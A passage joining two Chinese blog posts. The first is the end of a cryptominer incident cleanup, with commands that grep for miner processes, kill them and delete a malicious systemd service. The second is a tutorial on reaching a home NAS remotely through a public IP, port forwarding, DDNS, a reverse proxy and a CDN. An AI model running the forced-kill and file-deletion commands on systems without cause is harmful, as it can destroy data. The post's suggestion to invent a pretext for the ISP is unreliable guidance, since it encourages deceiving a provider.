进程 ps aux | grep -E "(xmrig|minerd|cpuminer)" | grep -v grep # 查找可疑进程 ps aux | grep -E "(nginx3|/tmp/|/dev/shm)" | grep -v grep # 查看被删除但仍在运行的进程 ls -l /proc/*/exe 2>/dev/null | grep deleted # 终止进程 kill -9 <PID> ``` 最后,还要停止恶意的 systemd 服务: ```bash # 查找可疑服务 systemctl list-units --type=service | grep -E "(update|system|miner|crypto)" # 示例输出 system-update-service.service loaded active running System Update Service # 停止并禁用 systemctl stop system-update-service systemctl disable system-update-service # 删除服务文件 rm -f /etc/systemd/system/system-update-service.service # 重新加载 systemctl daemon-reload ``` 当然,如果你的服务器上本来就没什么东西,也可以选择简单粗暴的方式,重装系统! 不过最重要的是,要解决根本问题,把 Next.js 应用升级到安全版本。 ![](https://pic.code-nav.cn/post_picture/1601072287388278786/j7EEYZo6o4HRyY0y.webp) ## 最后 通过这次事故呢,我觉得多关注安全通告、做好服务器的安全监控还是非常重要的,要是没有安全告警,可能几个月都没办法意识到这些攻击。 而且建议大家把应用尽量运行在非 root 权限下,尽可能减少风险。平时养成定期备份的习惯,出了问题即使重新安装服务器,也不会造成数据丢失。 OK 就分享到这里吧,如果你觉得本期内容有帮助,记得 **转发分享** 给身边的程序员朋友,让他们尽快意识到并修复问题,不要再让丑陋的、卑鄙的、老奸巨猾的攻击者得逞了! ## 更多 💻 编程学习交流:[编程导航](https://www.codefather.cn/) 📃 简历快速制作:[老鱼简历](https://www.laoyujianli.com) ✏️ 面试刷题神器:[面试鸭](https://www.mianshiya.com) 📖 AI 学习指南:[AI 知识库](https://ai.codefather.cn/)

居然不用买云服务器,家庭宽带轻松实现内网穿透

前言 -- 大家好,我是顾。 最近入手了一台极空间 NAS,主要原因是手机存储空间快不够用了,想把不常用的照片、视频这些文件都转移到 NAS 上,顺便释放点手机空间。NAS 的全称是 Network Attached Storage(网络存储器),简单理解就是一台可以存放数据、并支持通过网络远程访问的存储服务器。像百度网盘、阿里云盘这类网盘,其实也算是广义上的 NAS。 不过现在大家提到 NAS,更多指的是“私有云”——一台完全属于自己的本地化存储设备。NAS 相比于网盘而言,基础的功能是相同的,优势就是彻底摆脱了传输速度的限制,也不用担心一些视频被和谐了。 ![](https://pic.code-nav.cn/post_picture/1777957337596817409/ucHHxf2sdRrnnT7H.webp) NAS --- NAS 的本质上也是一个小型的服务器,我买极空间也是看中了它的 Docker 能力,可以部署运行一些服务或工具。目前主流的 NAS 品牌有威联通和群晖,极空间和绿联。前两者也是老牌的 NAS 了,系统比较稳定,上手难度高,适合极客玩家;后两者是国内最近新出的 NAS 品牌,上手容易适合小白,考虑到预算只有两千多,而且不想折腾太复杂的系统,所以高价且偏专业的威联通、群晖就先排除了。极空间 Z4Pro 在综合表现和体验也相对好一点,所以我入手了性价比更高的极空间 Z4Pro。 ![](https://pic.code-nav.cn/post_picture/1777957337596817409/ohWE9sylC3FOFlbV.webp) 当我入手了 NAS 之后,才发现拥有一个属于自己的私人网盘简直太爽了。公司和家里的电脑可以随时互传文件,再也不用发微信文件传输助手;还能直接把 NAS 当成 BT 下载器,挂着就能下电影,成为家庭影视库;手机的相册也能自动备份,再也不用担心照片丢失。它是个 4 盘位的,我先装了一块 4TB 硬盘,对目前的使用场景来说已经完全够用了。 ![](https://pic.code-nav.cn/post_picture/1777957337596817409/VtorQQekg5j99d0J.webp) 然而,上面提到的这些,其实还只是 NAS 的一些基础功能,NAS 本质上其实就是一台小型服务器——不仅能存储文件,还能运行服务、安装一个 Linux 虚拟机直接当服务器使用,或者直接使用 Docker 快速部署一些开源的镜像。NAS 提供了图形化的容器管理,可以很方便的运行一些服务,比如 Lucky,宝塔,Alist,个人博客、个人图床、私人影院 等,其中比较实用的还是 Lucky,可以轻松地实现反向代理,以及通过域名 + Https 的方式使用外网访问家庭NAS里服务,甚至可以连接家庭局域网的任何服务 ~ 具体的方法我后面再说。 ![](https://pic.code-nav.cn/post_picture/1777957337596817409/CBa9Yy2YwHca231p.webp) 我的 NAS 还支持虚拟机的功能,可以安装 Windows、Linux 操作系统等,我安装了三个虚拟机,一个是iStore,用来替代家里的路由器的功能,实现旁路由,可以解锁更多的功能,一个是 Windows10,用来跑些脚本程序,还有个是 CentOS,现在是当我的家庭服务器来使用,我在上面放上了一些 web 网站和数据库,Redis 啥的,这样就可以节省云服务器每年的费用了,相比于云服务,系统配置也比较高,而且带宽用的是家庭宽带,相比与腾讯云阿里云的这些小水管带宽,速度那也是没的说 ~ ![](https://pic.code-nav.cn/post_picture/1777957337596817409/KmNVR3GHTgXJQvQb.webp) 拥有了这么多的服务和搭建的网站,那么问题来了,如何在外面,比如在公司或者地铁上,也能够访问我家里的NAS 上的服务呢?这就涉及到网络环境的核心概念了。 宽带网络的介绍 ------- ### IP 地址和域名 首先介绍下什么是 IP 地址,这大家应该都知道。整个互联网可以看做是一个城市,里面的每一台设备(比如电脑、手机、NAS)都是一个“住户”。 IP地址,就是每个住户在这个网络城市里的唯一门牌号。有了这个门牌号,所有的请求、数据传输才知道应该从哪里出发,要送到哪里去。 例子: 192.168.1.1 就是一个典型的IP地址,我们可以在家里的路由器里看到很多类似这样的地址,它们分配给了手机、电脑等局域网设备。但是这些纯数字非常不容易记住,所以又出现了域名,用来映射对应的 IP 地址,访问一个网站,比如编程导航,只需要输入`codefather.cn` 就可以了。那么IP地址和域名是怎么映射的呢?这就需要 DNS了,DNS是互联网的“地址簿”,负责将我们访问的域名转换为IP地址,这一转换的过程叫做“域名解析”, 所以DNS又称“域名解析系统”,相当于网络访问的指路牌。比如我们访问`codefather.cn`,首先会询问DNS服务器:`codefather.cn`的IP地址是什么?然后 DNS 服务器会给出一个 IP 地址的 响应,最后浏览器拿到这个IP 地址,然后才真正地向这个 IP 发起连接,打开网站首页。 ![](https://pic.code-nav.cn/post_picture/1777957337596817409/MBMiAQv6lHAYvoEt.webp) ### 公网 IP 那什么是公网 IP 呢? 现在,把你家(比如三号楼二单元1001室)比喻成一台设备,把整个小区可以看作一个家庭网络。 内网IP就像三号楼二单元1001室这个门牌号,这个号码只在你小区内部有效。快递员如果只看到这个地址,而没有小区名和路名,是找不到你家的。同样,192.168.1.1 这个地址也只在局域网内部有效,互联网上的其他设备是无法直接用这个地址找到家里设备的。 公网IP,就像是整个小区的唯一大门地址,比如“上海市静安区南京西路xxx号”,这个地址是全球唯一的,所有人都能通过这个地址找到对应的小区。所以公网 IP 是指在全世界互联网上都可以直接识别和访问的唯一地址。互联网上的所有数据交换,最终都是通过公网IP来定位的。 由于我国接入国际互联网的时间较晚,分配到的 IPv4 地址总量相对有限。在一些早期接入互联网的国家(例如美国),IPv4 地址资源相对充足,人均大概能分到 5 个 IPv4 地址;而我国人均只有约 0.24 个。这就意味着,在国内,IPv4 公网地址是非常珍贵的资源。随着手机、电脑、平板、智能家居等设备越来越多,公网 IPv4 的缺口被进一步放大。运营商无法为每个家庭甚至每个设备分配独立的公网 IPv4,因此最常见的做法就是给家庭宽带统一做 NAT。也就是说,你家路由器后面连接的所有设备,看到的“外网 IP”其实都是运营商提供的共享地址;设备发出的所有流量,都必须先经过运营商的 NAT 转换后才能访问互联网。而在 IPv4 不紧缺的国家,由于他们拥有大量的公网地址,网络运营方式也更为宽松。一个常见的副作用是:很多网络攻击(例如 DDoS 流量)往往来自海外的真实公网 IP。一方面是因为海外公网 IP 数量大、成本低,另一方面攻击者也更容易批量租用或控制这些公网设备。因此,我们在国内看到的恶意流量,有很大一部分是来自国外的 IPv4 地址段。 ![](https://pic.code-nav.cn/post_picture/1777957337596817409/jQG8lYuMRVjMhMMW.webp) ### NAT 介绍 那么什么是 NAT 呢,它的全称是叫网络地址转换(Network Address Translation),允许多个内网设备共享一个公网IP地址,使内部网络设备能够与外部互联网通信,主要就是用来解决 IPv4 地址不足的问题。NAT 的类型主要由下面这些: 1)全锥形 NAT(Full Cone NAT): 内网设备映射出的端口是固定的,任何外部 IP 都能通过这个端口访问回你。这种类型几乎没有限制,只要知道公网 IP 和映射端口,即可直接访问。 ![](https://pic.code-nav.cn/post_picture/1777957337596817409/h7yT7ldfpifjIg5x.webp) 2)受限锥形 NAT(Restricted Cone NAT):端口固定,只有你主动访问过的外部 IP,才允许再回连你。 这种类型比全锥形 NAT 严格了一些,如果想让外部访问,需要内网设备先对目标服务器发起一次通信,例如 STUN 方式。 ![](https://pic.code-nav.cn/post_picture/1777957337596817409/ls7YYcUBPCttaxnk.webp) 3)端口受限锥形 NAT(Port Restricted Cone NAT):端口固定,只有你主动访问过的 “IP+端口” 组合才能回连你。 ![](https://pic.code-nav.cn/post_picture/1777957337596817409/TCt58XlCsjoayrAQ.webp) 4.)对称型 NAT(Symmetric NAT):每次访问不同的外部地址时,本地映射的端口都不一样。这种类型外部完全无法主动找到你,通常可以通过第三方服务器中转(如 Tailscale/ZeroTier/Frp、向日葵、花生壳等)。 ![](https://pic.code-nav.cn/post_picture/1777957337596817409/DkaGKf9aOwyo7H9p.webp) ### NAT 的影响 其实,NAT 类型影响最大的,就是 UDP 这种传数据的方式稳不稳定,速度快不快。特别是玩游戏、打语音电话、视频聊天这些,对网速要求高、延迟要低的场景,你的 NAT 类型越严,实际体验下来就越差。 我们拿玩游戏来说,主机玩家感觉是最明显的。不管是 PS、Xbox 还是 Switch,一看网络设置就能看到自己的 NAT 类型。这个类型越“开放”,你跟其他玩家直连的成功率就越高,匹配速度自然就快。反过来,要是 NAT 太严了,你可能就会遇到半天匹配不到人、老是掉线、游戏卡顿这些问题。有些联机游戏甚至会直接拒绝你进入多人模式。 像语音和视频通话,也逃不掉 NAT 的影响。你可能遇到过这种情况:家里 WiFi 信号明明是满格的,但微信视频老提示网络质量差,画面卡顿、声音断续。这时候,更大的原因不是 WiFi 信号的问题,而是你的 NAT 类型太严格了,变成了大家常说的 NAT4。设备间没办法直接建立稳定连接,只能靠中间服务器转接,体验自然会差很多。 最后说说 BT、PT 这种需要点对点传输的下载方式。NAT 类型的影响同样特别大。越开放的 NAT 类型,你就能连到更多的资源提供方,资源多了,下载速度自然就快。可要是你的宽带处于那种非常严格的 NAT 环境下,能直接连上的资源就会少一大截,P2P 下载速度往往就会被限制住。对那些用 NAS 来下载 BT 资源的朋友来说,这个感受会尤其深刻。 国内 NAT ------ 目前国内的宽带网络中,大部分人的网络 NAT 类型都 是NAT3(端口受限锥形 NAT),NAT1(全锥形 NAT)类型很少。这是因为大多数的路由器默认都是 NAT3 的,并且需要带支持公网 IP。国内的三大运营商,电信的公网 IP 概率最高,其次是联通,移动宽带就别想了,大部分都是 NAT4,也就是对称 NAT,外网访问几乎不可行。[https://mao.fan/mynat](https://mao.fan/mynat) 这个网站可以检测网络类型,如果你没修改过路由器设置,或者使用的是联通或者移动,检测结果大概率是下面这种: ![](https://pic.code-nav.cn/post_picture/1777957337596817409/jIUng7tuyks1Copv.webp) 如果是在这种 NAT 的环境下,家里的设备虽然能访问外网,但外网无法主动访问你家里的设备。也就是说,你想从公司访问家里的 NAS、摄像头,都会被 NAT 挡住。 即使像电信给宽带分配的是公网 IP,听起来像是公网,但它会随时变化,而且不一定每次都能分到真正的公网地址。即便分到了公网 IP,只要重启路由器或宽带重新拨号,地址就变了,外部访问立刻中断。 公网 IP ----- ### 如何判断自家家网络是否公网IPv4? 判断是否有公网 IPv4 其实并不复杂。第一步,可以先打开一个 IP 查询网站,比如 https://ip111.cn/, 页面会显示你当前访问互联网时使用的外网IP。第二步,根据你家宽带的接入方式,去对应的设备后台查看 WAN 口 IP。 如果你的光猫工作在“路由模式”(也就是光猫本身负责拨号),那么就需要登录光猫后台查看 WAN 口获取到的 IP 地址;如果你的光猫是“桥接模式”(由路由器负责拨号),那就登录路由器后台查看 WAN 口 IP。只要设备后台显示的 WAN 口 IP 地址与 IP 查询网站显示的外网 IP 完全一致,就说明你家真正拿到了公网 IPv4。 ![](https://pic.code-nav.cn/post_picture/1777957337596817409/LVAVYfGTV77XjK4Q.webp) 之前我看到网上经常有人说:“网上能查到 IP 就说明你有公网 IP,可以直接做 DDNS 和端口转发。”这种说法并不完全准确。百度显示的确实是公网 IP,但它可能只是运营商 NAT 出去的统一出口地址,并不一定是真正分配到你家宽带的公网 IP。所以关键仍然是看路由器 WAN 口的 IP 地址,而不是单看 IP 查询网站的显示结果。只有当两个 IP 完全一致时,才说明你的宽带具备公网 IPv4,只不过这个地址通常是动态分配的,并非固定 IP(固定公网 IP 一般只提供给专线或企业用户)。 ### 申请公网 IP 如果检测出来没有公网 IP,可以去营业厅,或者打电话给运营商客服,编一个理由,比如说装监控什么的,需要一个公网 IP,一般客服会核实宽带线路后,大概率一般都会给的,一般在几个小时之内,会为你的宽带开通公网 IP 功能。这里注意哈,大部分地区公网 IP 是免费的,不收费的,如果收费的大概率是要你办理什么专线之类的服务,直接跟客服说办理动态公网 IP 就行~ 如果你的宽带所在地区或者运营商实在无法给你开通公网 IPv4,也不必纠结。多数运营商都支持原生 IPv6 公网地址,在路由器和设备支持的情况下,同样可以实现远程访问和内网穿透,只是需要考虑访问端是否具备 IPv6 网络环境。 ### 光猫桥接 在家庭宽带安装时,运营商通常会把光猫直接设置为路由模式。也就是说,光猫不仅负责接入光纤信号,还同时承担拨号上网、分配局域网地址和管理家庭网络的工作。如果光猫自带 WiFi,那么用户甚至可以不再使用额外的无线路由器,直接连上光猫的无线信号就能上网。对于大多数家庭来说,这样的配置足够使用,三五个设备同时上网基本不会有明显问题。运营商选择这种方式,也是为了减少用户配置成本,避免用户自己保存宽带账号密码,也能让装机和售后更省心。 ![](https://pic.code-nav.cn/post_picture/1777957337596817409/L1HUamnkMBmCcvaD.webp) 光猫的另一种工作方式是桥接模式。开启桥接后,光猫不再进行拨号和路由,而是把运营商下发的宽带信号直接交给用户自己的路由器处理。此时,真正的网络管理、拨号上网、端口转发等操作,全部由用户路由器来完成。这样做的好处是,公网 IP 会直接落在路由器的 WAN 口上,更适合需要远程访问、NAS、内网穿透等功能的人,也能避免光猫性能不足带来的网络卡顿或转发瓶颈。在一些网络结构复杂的环境中,让光猫只做最基础的信号转换,能让整体网络更稳定。 ![](https://pic.code-nav.cn/post_picture/1777957337596817409/yMMrnGBMUtefaIbW.webp) 不过,修改光猫到桥接模式需要一定的网络知识。操作不当会直接导致无法上网,而且很多光猫的高级权限并不会对用户开放,现在网络上公开的所谓“超级管理员密码”大多数也已经失效。因此,如果你确实需要桥接模式,建议联系运营商客服或宽带师傅处理,不要自行尝试,以免误操作造成故障,最终还得等待上门维修才能恢复上网。 ![](https://pic.code-nav.cn/post_picture/1777957337596817409/12XWuUebAe3K4FBX.webp) ![](https://pic.code-nav.cn/post_picture/1777957337596817409/BcLPTFTwy047RWiv.webp) 路由器设置 ----- 有了公网 IP 和 并且改为桥接之后,光猫就不能正常上网了,需要对我们自己的路由器进行配置,改拨号上网模式,首先需要登录路由器的后台管理地址,在上网方式改为PPPoE,然后输入宽带账号密码,拨号成功后就有网络了。 我为了解锁路由器更多的功能,还专门从咸鱼淘了一台小米 AX3600 路由器,把它刷入 OpenWrt 系统。相比普通路由器的默认系统,OpenWrt 在插件、自定义规则、防火墙、端口转发等方面都更加灵活,而且 UI 也很好看~ ![](https://pic.code-nav.cn/post_picture/1777957337596817409/inTF3TiTk12AjFVg.webp) ### OpenWrt 这里简单介绍下OpenWrt吧,OpenWrt ([https://openwrt.org/zh/start](https://openwrt.org/zh/start))是一种专门为路由器等网络硬件设备设计的操作系统。路由器原有的固件通常功能非常简单,是被厂商严格限制住的。它只允许你进行一些基础操作,比如设置无线密码或查看连接设备,你无法自由地添加新的功能或修改系统的底层运行方式。 OpenWrt 则是一个针对嵌入式设备的 Linux 操作系统。安装了 OpenWrt 之后,我们就能获得对路由器内部的完全控制权限。这样我们可以对路由器安装各种插件,比如广告屏蔽,流量监控,挂载网盘、内网穿透等等。 ![](https://pic.code-nav.cn/post_picture/1777957337596817409/6WOqa36I6DTmzwF0.webp) OpenWrt 使得我们的路由器有强大的扩展性和定制能力。不过国内出厂搭载OpenWrt 系统的很少,基本上都是基于这个系统定制魔改的,所以市面上也出现了很多刷机的,有些发烧友们也整理出了市面上可以刷机的路由器:[https://mao.fan/select](https://mao.fan/select) 当然,如果家里只是普通上网需求,用普通的路由器也能满足,但是必须要支持开启防火墙,端口转发等功能,如果防火墙还能做到只开放某个端口,或者根据规则进行限制,那会更好了。因为一旦你拥有了公网 IP,家里的网络就直接暴露在公网环境中,所有设备都处在可被访问的状态。如果没有必要的安全措施,有可能就会被攻击。因此,必须确保路由器具备可靠的防火墙能力,能够对外部流量进行过滤和限制,可以避免你的设备直接当成靶子了。 检测 -- 全部设置完成之后,我们就可以检测一下了~ 首先我们看下 NAT 是否是全锥形 NAT,也就是 NAT1 ,打开上面的检测网站:[https://mao.fan/mynat](https://mao.fan/mynat) ,然后关闭所有的代理,点击检测: ![](https://pic.code-nav.cn/post_picture/1777957337596817409/oYXxWm8MC9CA96qi.webp) 哈哈完美~ 说明我的网络能够直接被外网访问了,下面来测试下: 在路由器管理页面——端口转发(不同路由器叫法可能不同),设置一下外部端口,以及要转发到的内网地址和内网端口,如果你的路由器还带有防火墙功能,还需要在防火墙中放行同样的端口,否则外部流量会被直接拦截,端口转发也无法生效。 不过需要注意的是,端口并不是随便填就行的。像 80、443、8080这些常见的 Web 服务端口,很多运营商都会默认做限制,外部访问往往会被屏蔽,导致你在家里搭建的服务根本无法从公网访问。所以在端口转发时,最好避开这些敏感端口,选择一些不常被限制的高位端口,会更稳定、更容易成功。 ![](https://pic.code-nav.cn/post_picture/1777957337596817409/VtHFRbLqrlC7u1HR.webp) ![](https://pic.code-nav.cn/post_picture/1777957337596817409/fbtTS5gcmd60iQB8.webp) 配置完成后,来自公网的访问就能够直接地被转发到你家内部的设备上。我们打开浏览器看下: ![](https://pic.code-nav.cn/post_picture/1777957337596817409/9qZcvpOcyqTqfpcx.webp) 成功了,说明公网 IP 生效了。 ### 测速 另外我们可以测测这个宽带的公网IP的速度如何,我们在 NAS 的 Docker 里安装下iperf3,他是一个带宽的测速工具,它支持调节各种参数,比如通信协议,数据包个数,发送持续时间,测试完会报告网络带宽,丢包率和其他参数。 ![](https://pic.code-nav.cn/post_picture/1777957337596817409/sgUvjz3y5tUOca31.webp) 注意需要在路由器中配置下端口转发,`5201`转发到 NAS 的局域网IP:5201。 然后在我们的电脑上运行: ```properties iperf3 -c 公网IP -t 10 ``` 这个参数`-t`表示持续测试时间为 10 秒。 ![](https://pic.code-nav.cn/post_picture/1777957337596817409/8Ni7SwDsrS5oEHKi.webp) 可以看到他的速度还是挺快的,比我的阿里云服务器的小水管带宽快的多,这个取决于你的宽带的下行速度,如果要测上行速度,可以加个`-R`,家里宽带的上行一般比下行小的多,上行:下行一般为1:10或者1:5左右,这个和运营商相关。 使用 Lucky 实现反向代理+域名访问 -------------------- 对 NAS用户来说,内网访问是最基础的功能,而如果能够玩转公网,才能使 NAS 发挥最大的价值,真正成为个人专属家庭服务器。 现在有了公网IP,如果你想在公司访问家里的 NAS,只需要在浏览器里输入:`http://你的公网IP:5055` 看起来方法很直接,但这种做法,基本相当于把 NAS 完全暴露在互联网上,会带来很多严重隐患。首先,HTTP 协议是明文传输,任何数据都没有加密保护,一旦被截获就能直接读取,非常危险。其次,直接使用公网+端口访问,就会直接把这个服务的端口暴露在公网中,安全性差,其实最主要的问题还是 NAS 上的服务通常不止一个,每个都需要单独占用一个端口。端口数量一多,难以记住。而且更麻烦的是,大多数家庭宽带分配到的都是动态公网 IP,可能隔一段时间就会变化一次,导致你根本记不住,访问也容易失败。 为了让 NAS 能够在公网环境下安全访问,我们需要一个稳定、易用、同时具备反向代理和动态 DNS(DDNS)的工具。我给大家推荐一个非常实用的软件,叫 Lucky,它是专门面向个人和家庭用户的网络工具。 ![](https://pic.code-nav.cn/post_picture/1777957337596817409/xer7nkYDmpOpWcKX.webp) 这款软件支持Windows、Linux、甚至路由器内使用插件安装。因为我的小米路由器性能不是很好,所以我把他装在了 NAS 的 Docker 里,整个流程也非常简单,一共分为 5 步,安装 Lucky -> 配置 Lucky -> 购买域名 -> 设置 DDNS -> 设置 SSL 证书 -> 设置反向代理。 ### 安装 Lucky 打开NAS 的 Docker,搜索 Lucky。 ![](https://pic.code-nav.cn/post_picture/1777957337596817409/WOWmlviQp9gy8e5q.webp) 下载完成后在本地镜像中找到,双击创建容器: ![](https://pic.code-nav.cn/post_picture/1777957337596817409/m9iZ8rvhX5Ag9QZw.webp) 输入一个容器名称,然后配置下 CPU 和内存参数,这里 1 核 1G 就够用了 ![](https://pic.code-nav.cn/post_picture/1777957337596817409/qvtqwFNbqvuFd368.webp) 点击文件夹路径选项,将Lucky安装位置设置在NAS 的目录下,装载路径中填写/goodluck。 ![](https://pic.code-nav.cn/post_picture/1777957337596817409/xNOcNciaZj0EAARG.webp) 网络模式必须选择host,不能使用常用的 Bridge,因为是为了让 Lucky 获得与NAS 主机完全一致的网络权限和能力,从而避免复杂的端口映射和网络协议兼容问题。 ![](https://pic.code-nav.cn/post_picture/1777957337596817409/BD8bmniyQOVfX8Va.webp) 其他的配置默认就可以了,点击应用,这样就安装完成了。 ![](https://pic.code-nav.cn/post_picture/1777957337596817409/ZGbOcusDFTQEHzCn.webp) ### 配置 Lucky 打开浏览器,输入 NAS 的 内网 IP 地址+16601,进入Lucky管理后台: ![](https://pic.code-nav.cn/post_picture/1777957337596817409/qIsV2Av0xczbNus7.webp) 登录进去后,可以在左侧的设置里,设置一套新的账号密码,确保安全。 ![](https://pic.code-nav.cn/post_picture/1777957337596817409/Jr5ufHbDvy7KPdKA.webp) 下面就是 DDNS 配置了,首先你要有一个域名,如果有了就可以跳过了。 ### 域名购买 Lucky 支持很多平台的域名,这里我选择腾讯云。 ![](https://pic.code-nav.cn/post_picture/1777957337596817409/NP5R4Un88UIUL22e.webp) 可以直接在 [腾讯云域名注册](https://console.cloud.tencent.com/domain) 购买一个你喜欢的域名。 ![](https://pic.code-nav.cn/post_picture/1777957337596817409/tQoCshC28BxHsq12.webp) 购买完成后需要在腾讯云的[访问管理](https://console.cloud.tencent.com/cam/capi)里获取腾讯云的 API 秘钥,后面有用到。 ### 设置 DDNS 打开 Lucky 管理页面,在左侧找到“动态域名”选项卡,并点击“添加任务”。 ![](https://pic.code-nav.cn/post_picture/1777957337596817409/P9D66OBrhvhEXfjM.webp) 填写下任务名称,操作模式选择“简易模式”,DNS托管服务商选择自己域名的服务商(我这里是腾讯云),并将前面保存下来的密钥填入,然后按照自己家的公网IP类型选择 IPv4或 IPv6,获取方式选择通过接口获取,然后点击下方的添加同步记录,记录名里填写刚刚购买的域名:*.域名.com。其他全部默认,完毕后点击添加任务。 ![](https://pic.code-nav.cn/post_picture/1777957337596817409/iu5XJauG3IHFNu9L.webp) ![](https://pic.code-nav.cn/post_picture/1777957337596817409/IjYG8SQvZGwrXCKE.webp) 稍等一会儿~,看到提示结果为“托管商记录一致”,就说明 DDNS 设置成功了。你会看到你设置的类型、以及解析IP地址。 ![](https://pic.code-nav.cn/post_picture/1777957337596817409/ER9yZqqDfhWM09kb.webp) 如果你去腾讯云域名解析后台也能看到 Lucky 自动解析的DNS记录了。 ![](https://pic.code-nav.cn/post_picture/1777957337596817409/5zcefdiWtVYSIfwt.webp) 因为宽带都是动态公网 IP,当你的宽带有变化的时候,这里的记录也会实时更新的,不需要手动操作 ~ ### 设置 SSL 证书 下面需要为自己的域名申请SSL证书。转到“SSL/TLS证书”选项卡,并点击“添加证书”。 ![](https://pic.code-nav.cn/post_picture/1777957337596817409/sufY0eU7tcW9ZARG.webp) 添加方式选择ACME(用于自动申请 SSL 证书的协议),证书颁发机构选择Let's Encrypt 或者 ZeroSSL 都行,DNS 服务商选择自己域名的服务商,输入刚刚保存的密钥,然后可以选择开启 EAB 认证,这个认证主要是 ACME 协议中的一种认证机制。简单来说,EAB 就是一种身份验证凭证,用于把你的 ACME 客户端(比如你用的 Lucky、acme.sh、Certbot)和你在 证书颁发机构(CA)的真实账户绑定在一起。如果刚刚选择的是 ZeroSSL,应该是要必须开启的。下面是申请获取的步骤: 1)访问 [ZeroSSL 官网](https://zerossl.com/) 并登录。 2)点击侧边栏的 **"**Developer**"**。 3)点击 **"**EAB Credentials**"**。 4)点击 **"**Generate**"**。 5)你会得到 `EAB KID` 和 `EAB HMAC Key`。 6)把这两串字符复制到 Lucky 的对应输入框里即可。 ![](https://pic.code-nav.cn/post_picture/1777957337596817409/JdC5aDNNnK6HDiIm.webp) 把选项卡往下拉,如果前面的DDNS是使用的公网IPV4,那么需要开启`使用IPv4网络申请证书`、`DNS查询强制IPV4`、`DNS查询仅使用TCP`三项,这个是在申请证书时会验证服务器IP的,如果不对就会申请失败。其他的配置保持默认就好了,最后点击添加。 ![](https://pic.code-nav.cn/post_picture/1777957337596817409/amvgBd8xBfmnQg3c.webp) 然后就是正在申请中了,证书申请需要稍等一段时间,大概几分钟。成功后就会出现 ACME 信息,颁发时间和过期时间。每张免费SSL证书的有效期为三个月,到期前lucky会自动续期的,不需要我们手动续期。 ![](https://pic.code-nav.cn/post_picture/1777957337596817409/mjHWfcxuzowhDW2S.webp) ### 设置反向代理 选择Web 服务菜单,点击“添加 Web 服务规则” ![](https://pic.code-nav.cn/post_picture/1777957337596817409/YeXY1WEpMkN6SKv4.webp) 填写下规则名称,规则开关开启,操作模式选简易模式,监听类型可以根据你是公网 IPv4还是IPv6来确定。监听端口可随意,不要使用80和443端口就行了,建议使用10000以上的端口号,只要和局域网中其他服务端口不冲突就行,防火墙自动放行开启。特别注意,这里一定要开启TLS,否则无法使用HTTPS。 ![](https://pic.code-nav.cn/post_picture/1777957337596817409/U8KLKW1P04h9qR4t.webp) 基本信息填完后,然后点击“添加Web服务子规则”。这个“子规则”,就是你从外网访问的某一个服务,比如说 NAS 管理页面,或者部署在 Docker 上的一个服务等等。首先填写下区分服务的子规则名称,规则开关开启。服务类型选择“反向代理”。 前端地址需要填写你想要从外网访问该服务的二级域名,比如我这个子规则是分配给NAS管理页面的,那我就写 nas.xxx.com。 而后端地址则需要写你访问该服务的内网IP+端口号,注意前面需要加http://,其他选项保持默认即可,最后完成后点击“添加 WEB 服务规则”。 ![](https://pic.code-nav.cn/post_picture/1777957337596817409/GnmPyFqMildsJqKP.webp) 这里有个选项需要注意下,就是安全设置,如果你的网站需要有个身份认证才能访问,可以开启这个选项。在开启之后,从外网访问时,需要先输入账号和密码,如果你的网站是没有账号密码登录的,开启这个是很有必要的。 ![](https://pic.code-nav.cn/post_picture/1777957337596817409/r8eSiwCHOXKtgflQ.webp) ![](https://pic.code-nav.cn/post_picture/1777957337596817409/DV750z0WwLnxv0AS.webp) 然后你可以参照上面的步骤依次添加其他的服务,有几个服务,就开启几个子规则就可以了。添加完成后,可以在规则列表这里看到当前页面的访问IP数和连接数,还有访问日志等等。 ![](https://pic.code-nav.cn/post_picture/1777957337596817409/JXynkjCyF3QokQpP.webp) ### 设置Https重定向 目前配置的是没有 Https 重定向功能的,也就是你打开 https://nas.xxxx.com:20000 是正常的,但是打开http://nas.xxxx.com:20000 就会报 502,Lucky 里也可以配置 Http 重定向到 Https 的功能。 先创建一条Web服务规则,注意这条新的Web服务规则不要启用TLS,然后选择定制模式,在默认子规则中选择Web服务类型为重定向,这条新规则的监听端口填和你https同样的端口,也就是刚刚配的 20000,默认子规则中的默认目标地址填写 `https://{host}:{port}{path}{args}`,注意哈,两条规则的监听类型要完全一致,不能一条监听 tcp6 而另外一条监听 tcp。 ![](https://pic.code-nav.cn/post_picture/1777957337596817409/Ou63UOdPxKIDFUDs.webp) ![](https://pic.code-nav.cn/post_picture/1777957337596817409/vP1xZigjOyiWjI1K.webp) ### 端口转发 全部设置好以后,我们还需要把反向代理的端口20000通过路由器进行端口转发,才能够正常从外网访问。和正向代理不同,现在我们只需要映射一个反代端口就可以,不用把每个服务单独的内网端口再映射出去,注意内网端口和外网端口号要保持一致。 ![](https://pic.code-nav.cn/post_picture/1777957337596817409/XCsNZ7FA1OYl5WKC.webp) 如果你设置了防火墙,注意也要把对应的端口进行放开。 ![](https://pic.code-nav.cn/post_picture/1777957337596817409/bh2Yo8iZ2Qfdp3HO.webp) 把端口进行转发之后,我们就可以从外网访问了。比如我现在输入[https://nas.xxx.com:20000](https://nas.xxx.com:20000),就可以访问到NAS 的设置页面。而且我们在地址栏的前面可以看到,是有锁的,说明是开启了 SSL 了。 ![](https://pic.code-nav.cn/post_picture/1777957337596817409/t63fRoJ7km0VBbjA.webp) ### 接入 CDN 防护 目前的域名后面总是有个端口,太不优雅了,而且这个地址也是没有任何防护功能的,会直接暴露家庭公网 IP 的地址,如果被不怀好意的人看到,总想要试上几试,网络直接被攻击了。 因此我们可以接入个 CDN,正好前些日子我领了个腾讯云 EdgeOne 的码,我就直接接入这个域名了。打开[https://console.cloud.tencent.com/edgeone/analytics/waf-security](https://console.cloud.tencent.com/edgeone/analytics/waf-security) 添加站点。 ![](https://pic.code-nav.cn/post_picture/1777957337596817409/ZEL9IF4qB6OSbnDi.webp) 选择一个套餐,因为我是免费领取的,所以直接选中这个套餐。 ![](https://pic.code-nav.cn/post_picture/1777957337596817409/HV2h0WAoF9NGpvMp.webp) 然后选择接入模型和加速区域,免费套餐可以选择“全球可用区”。 ![](https://pic.code-nav.cn/post_picture/1777957337596817409/yqBt9Miv4dMZSH02.webp) 然后添加要加速的网站,这里我选择 [AI 零代码应用生成平台教程](https://www.codefather.cn/course/1948291549923344386) 这个项目,我刚学完这个项目,拿来部署试试手。这个项目我是部署在极空间 Linux 虚拟机里的,添加到 EO 前,需要先在 Lucky 的Web 服务里添加子规则,类型为反向代理,前端地址填写源站子域名,后端地址填写项目的内网地址,然后点击添加。 